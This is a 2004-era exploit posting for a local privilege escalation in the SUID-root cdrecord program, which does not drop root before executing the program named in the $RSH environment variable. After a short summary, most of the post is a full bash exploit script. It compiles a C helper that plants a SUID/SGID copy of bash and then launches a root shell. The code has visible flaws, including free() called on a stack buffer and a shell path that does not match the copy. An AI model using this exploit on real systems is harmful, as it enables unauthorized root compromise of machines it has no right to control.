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[EXPL] Cdrecord RSH SUID Shell Creation

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Cdrecord RSH SUID Shell Creation

SUMMARY

Max Vozeler found that the
http://www.fokus.gmd.de/research/cc/glone/employees/joerg.schilling/private/cdrecord.html
cdrecord program, which can be installed as suid root, fails to drop euid=0
when it exec()s a program specified by the user through the $RSH environment
variable. This can be abused by a local attacker to obtain root privileges.

DETAILS

This shell script writes out and compiles a C application which sets it’s
UID to it’s EUID and copies a SUID shell to the current directory,
compiles it, then uses cdrecord’s use of the $RSH environment variable to
execute it. It then cleans up it’s mess and executes the shell for
convenience.
*Note: This exploit is written assuming your target shell is bash

Max Vozeler is credited with discovering this vulnerability as stated in
the http://lwn.net/Alerts/101255/ Mandrake Linux security advisory

Exploit Code:
#!/bin/bash
#  cdrecord-suidshell.sh - I)ruid [CAU] (09.2004)
#  Exploits cdrecord's exec() of $RSH before dropping privs
cat > ./cpbinbash.c << __EOF__
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

main( int argc, char *argv[] ) {
        int fd1, fd2;
        int count;
        char buffer[1];

        /* Set ID's */
        setuid( geteuid() );
        setgid( geteuid() );

        /* Copy the shell */
        if ((fd1=open( "/bin/bash", O_RDONLY))<0)
                return -1;
        if ((fd2=open( "./bash", O_WRONLY|O_CREAT))<0)
                return -1;
        while((count=read(fd1, buffer, 1)))
                write(fd2, buffer, count);
        free(buffer);
        close( fd1 );
        close( fd2 );

        /* Priv the shell */
        chown( "./bash", geteuid(), geteuid() );
        chmod( "./bash", 3565 );
}
__EOF__

cc ./cpbinbash.c -o ./cpbinbash

# Set up environment
export RSHSAVE=$RSH
export RSH=./cpbinbash

# Sploit
cdrecord dev= REMOTE:CAU:1,0,0 -

# Cleanup
rm cpbinbash*
export RSH=$RSHSAVE
export RSHSAVE=

# Use our suid bash
/bash -p

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